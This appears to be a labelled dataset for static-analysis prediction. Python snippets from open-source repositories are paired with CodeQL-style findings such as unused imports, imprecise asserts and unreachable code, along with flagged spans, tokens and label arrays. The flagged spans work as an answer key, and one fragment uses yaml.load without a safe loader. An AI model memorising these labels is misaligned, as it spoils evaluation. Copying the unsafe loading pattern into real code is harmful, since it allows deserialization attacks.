")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host", "\\u", "info_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "ansi", "ble", "\\u", "ini_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "host_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host", "\\u", "info_", "._", "append_", "(_", "line_", "._", "strip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "host", "\\u", "info_", "[_", "host", "\\u", "info_", "._", "index_", "(_", "'['_", "+_", "host_", "+_", "']'_", ")_", "+_", "1_", "]_", "._", "split_", "(_", "'", " ", "'_", ")_", "[_", "1_", "]_", "._", "split_", "(_", "'='_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "load", "\\u", "config", "\\u", "yaml_", "(_", "self_", ",_", "filename_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "filename_", ",_", "'", "r", "'_", ")_", "as_", "stream_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "yaml_", "._", "load_", "(_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Cd", "h", "Ap", "i", "Helper_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "host", " ", "ip", " ", "for", " ", "service", " ", "or", " ", "specified", " ", "service", " ", "role_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Ap", "i", "Helper_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "cd", "h", "Api_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cd", "h", "Api_", "=_", "cd", "h", "Api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Ap", "i", "Helper_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "service", "\\u", "from", "\\u", "cd", "h_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cluster_", "=_", "self_", "._", "cd", "h", "Api_", "._", "get", "\\u", "all", "\\u", "clusters_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "next_", "(_", "service_", "for_", "service_", "in_", "cluster_", "._", "get", "\\u", "all", "\\u", "services_", "(_", ")_", "if_", "service_", "._", "type_", "==_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Sto", "p", "Iteration_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "No", "Cd", "h", "Service", "Error_", "(_", "'", "No", " ", "{}", " ", "in", " ", "CD", "H", " ", "service", "s", ".'_", "._", "format_", "(_", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Ap", "i", "Helper_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "host_", "(_", "self_", ",_", "service_", ",_", "role_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "if_", "role_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "service_", "._", "get", "\\u", "all", "\\u", "roles_", "(_", ")_", "[_", "0_", "]_", "._", "host", "Ref_", "._", "host", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "service_", "._", "get", "\\u", "role_", "(_", "role_", ")_", "._", "host", "Ref_", "._", "host", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "cd", "h", "Api_", "._", "get", "\\u", "host_", "(_", "id_", ")_", "._", "hostname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Ap", "i", "Helper_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "entry_", "(_", "self_", ",_", "service_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "=_", "service_", "._", "get", "\\u", "all", "\\u", "roles_", "(_", ")_", "[_", "0_", "]_", "._", "get", "\\u", "config_", "(_", "'", "full", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "config", "\\u", "entry_", "in_", "config_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "==_", "config", "\\u", "entry_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entry_", "=_", "config_", "[_", "config", "\\u", "entry_", "]_", "._", "value_", "or_", "config_", "[_", "config", "\\u", "entry_", "]_", "._", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "entry_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Ap", "i", "Helper_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "entry", "\\u", "from", "\\u", "group_", "(_", "self_", ",_", "service_", ",_", "name_", ",_", "group_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "=_", "service_", "._", "get", "\\u", "role", "\\u", "config", "\\u", "group_", "(_", "group_", ")_", "._", "get", "\\u", "config_", "(_", "'", "full", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "config", "\\u", "entry_", "in_", "config_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "==_", "config", "\\u", "entry_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entry_", "=_", "config_", "[_", "config", "\\u", "entry_", "]_", "._", "value_", "or_", "config_", "[_", "config", "\\u", "entry_", "]_", "._", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "entry_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "No", "Cd", "h", "Service", "Error_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ofri/Open-Knesset/mmm/management/commands/update_mmm.py
[ { "content": "import os\nimport json\nfrom datetime import datetime\n\nfrom django.core.management.base import NoArgsCommand, CommandError\n\nfrom mmm.models import Document\nfrom knesset.settings import DATA_ROOT\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Command(NoArgsCommand):\n help = \"Updating mmm table\"\n\n", "metadata": "root.Command", "header": "['module', '___EOS___']", "index": 9 }, { "content": " def handle_noargs(self, **options):\n FIXTURE_FILE = \"mmm.json\"\n\n try:\n f = open(DATA_ROOT + FIXTURE_FILE, 'rt')\n j = json.load(f)\n for m in j['objects']['matches']:\n # we're promised iso8601\n m['pub_date'] = datetime.strptime(m['pub_date'], '%Y-%m-%d').date()\n\n Document.objects.from_json(j)\n\n finally:\n f.close();", "metadata": "root.Command.handle_noargs", "header": "['class', 'Command', '(', 'NoArgsCommand', ')', ':', '___EOS___']", "index": 13 } ]
[ { "span": "import os", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 9 }, { "span": "from django.core.management.base import NoArgsCommand, CommandError", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 67 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "management_", "._", "base_", "import_", "No", "Arg", "s", "Command_", ",_", "Command", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "mmm", "_", "._", "models_", "import_", "Document_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kne", "sset", "_", "._", "settings_", "import_", "DATA", "\\u", "ROOT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Command_", "(_", "No", "Arg", "s", "Command_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "help_", "=_", "\"", "Up", "dati", "ng", " ", "mmm", " ", "table", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Command_", "(_", "No", "Arg", "s", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "handle", "\\u", "noar", "gs_", "(_", "self_", ",_", "**_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "FIXTURE", "\\u", "FILE_", "=_", "\"", "mmm", ".", "json", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "DATA", "\\u", "ROOT_", "+_", "FIXTURE", "\\u", "FILE_", ",_", "'", "rt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "=_", "json_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "m_", "in_", "j_", "[_", "'", "object", "s", "'_", "]_", "[_", "'", "matche", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", "'", "re", " ", "promise", "d", " ", "iso8601_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "[_", "'", "pub", "\\u", "date", "'_", "]_", "=_", "datetime_", "._", "strptime_", "(_", "m_", "[_", "'", "pub", "\\u", "date", "'_", "]_", ",_", "'%", "Y", "-%", "m", "-%", "d", "'_", ")_", "._", "date_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Document_", "._", "objects_", "._", "from", "\\u", "json_", "(_", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "close_", "(_", ")_", ";_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
buildingenergy/buildingenergy-platform/seed/tests/test_api.py
[ { "content": " def test_get_api_schema(self):\n \"\"\"\n Test of 'schema' generator.\n \"\"\"\n url = reverse('api:get_api_schema')\n res = self.client.get(url)\n self.assertEqual(res.status_code, 200)\n endpoints = json.loads(res.content)\n\n #the url we just hit should be in here\n self.assertTrue(url in endpoints)\n endpoint = endpoints[url]\n self.assertEqual(endpoint['name'], 'get_api_schema')\n self.assertTrue('description' in endpoint)", "metadata": "root.SchemaGenerationTests.test_get_api_schema", "header": "['class', 'SchemaGenerationTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 86 } ]
[ { "span": "self.assertTrue(url in endpoints)", "start_line": 96, "start_column": 8, "end_line": 96, "end_column": 41 }, { "span": "self.assertTrue('description' in endpoint)", "start_line": 99, "start_column": 8, "end_line": 99, "end_column": 50 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Schema", "Generat", "ion", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "api", "\\u", "schema_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "of", " ", "'", "schema", "'", " ", "generat", "or", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "reverse_", "(_", "'", "api", ":", "get", "\\u", "api", "\\u", "schema", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "self_", "._", "client_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "res_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "endpoints_", "=_", "json_", "._", "loads_", "(_", "res_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "the", " ", "url", " ", "we", " ", "just", " ", "hit", " ", "shou", "ld", " ", "be", " ", "in", " ", "here_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "url_", "in_", "endpoints_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "endpoint_", "=_", "endpoints_", "[_", "url_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "endpoint_", "[_", "'", "name", "'_", "]_", ",_", "'", "get", "\\u", "api", "\\u", "schema", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "description", "'_", "in_", "endpoint_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Unused import
pydoit/doit/doc/tutorial/import_tasks.py
[ { "content": "# import task_ functions\nfrom get_var import task_echo\n\n# import tasks with create_doit_tasks callable\nfrom custom_task_def import sample\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def task_hello():\n return {'actions': ['echo hello']}", "metadata": "root.task_hello", "header": "['module', '___EOS___']", "index": 7 } ]
[ { "span": "from get_var import task_echo", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 29 }, { "span": "from custom_task_def import sample", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 34 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "import", " ", "task", "\\u", " ", "functions_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "get", "\\u", "var_", "import_", "task", "\\u", "echo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "import", " ", "task", "s", " ", "with", " ", "create", "\\u", "doit", "\\u", "task", "s", " ", "callable_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "custom", "\\u", "task", "\\u", "def_", "import_", "sample_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "task", "\\u", "hello_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "'", "action", "s", "'_", ":_", "[_", "'", "echo", " ", "hell", "o", "'_", "]_", "}_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
blaze/odo/odo/backends/hdfs.py
[ { "content": "@resource.register('hive://.+::.+', priority=16)\ndef resource_hive_table(uri, stored_as='TEXTFILE', external=True, dshape=None, **kwargs):\n if dshape:\n dshape = datashape.dshape(dshape)\n uri, table = uri.split('::')\n engine = resource(uri)\n metadata = metadata_of_engine(engine)\n\n # If table exists then return it\n with ignoring(sa.exc.NoSuchTableError):\n return sa.Table(table, metadata, autoload=True,\n autoload_with=engine)\n\n # Enough information to make an internal table\n if dshape and (not external or external and kwargs.get('path')):\n table_type = 'EXTERNAL' if external else ''\n statement = create_hive_statement(table, dshape,\n db_name=engine.url.database, stored_as=stored_as,\n table_type=table_type, **kwargs)\n with engine.connect() as conn:\n conn.execute(statement)\n return sa.Table(table, metadata, autoload=True,\n autoload_with=engine)\n\n else:\n return TableProxy(engine, table, stored_as)", "metadata": "root.resource_hive_table", "header": "['module', '___EOS___']", "index": 144 } ]
[ { "span": "if dshape and (not external or external and kwargs.get('path')):", "start_line": 158, "start_column": 4, "end_line": 158, "end_column": 68 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "resource_", "._", "register_", "(_", "'", "hive", "://", ".+", "::", ".+", "'_", ",_", "priority_", "=_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "resource", "\\u", "hive", "\\u", "table_", "(_", "uri_", ",_", "store", "d\\u", "as_", "=_", "'", "TEXT", "FILE", "'_", ",_", "external_", "=_", "True_", ",_", "dsh", "ape_", "=_", "None_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "dsh", "ape_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dsh", "ape_", "=_", "datas", "hape_", "._", "dsh", "ape_", "(_", "dsh", "ape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "uri_", ",_", "table_", "=_", "uri_", "._", "split_", "(_", "'::'", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "engine_", "=_", "resource_", "(_", "uri_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metadata_", "=_", "metadata", "\\u", "of", "\\u", "engine_", "(_", "engine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "table", " ", "exist", "s", " ", "then", " ", "return", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "ign", "orin", "g_", "(_", "sa_", "._", "exc_", "._", "No", "Suc", "h", "Table", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "sa_", "._", "Table_", "(_", "table_", ",_", "metadata_", ",_", "autoload", "_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "autoload", "\\u", "with_", "=_", "engine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "En", "ou", "gh", " ", "informati", "on", " ", "to", " ", "make", " ", "an", " ", "internal", " ", "table_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "dsh", "ape_", "and_", "(_", "not_", "external_", "or_", "external_", "and_", "kwargs_", "._", "get_", "(_", "'", "path", "'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "type_", "=_", "'", "EXTERNAL", "'_", "if_", "external_", "else_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "create", "\\u", "hive", "\\u", "statement_", "(_", "table_", ",_", "dsh", "ape_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "name_", "=_", "engine_", "._", "url_", "._", "database_", ",_", "store", "d\\u", "as_", "=_", "store", "d\\u", "as_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "table", "\\u", "type_", "=_", "table", "\\u", "type_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "engine_", "._", "connect_", "(_", ")_", "as_", "conn_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conn_", "._", "execute_", "(_", "statement_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sa_", "._", "Table_", "(_", "table_", ",_", "metadata_", ",_", "autoload", "_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "autoload", "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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
xumiao/pymonk/monk/core/turtle.py
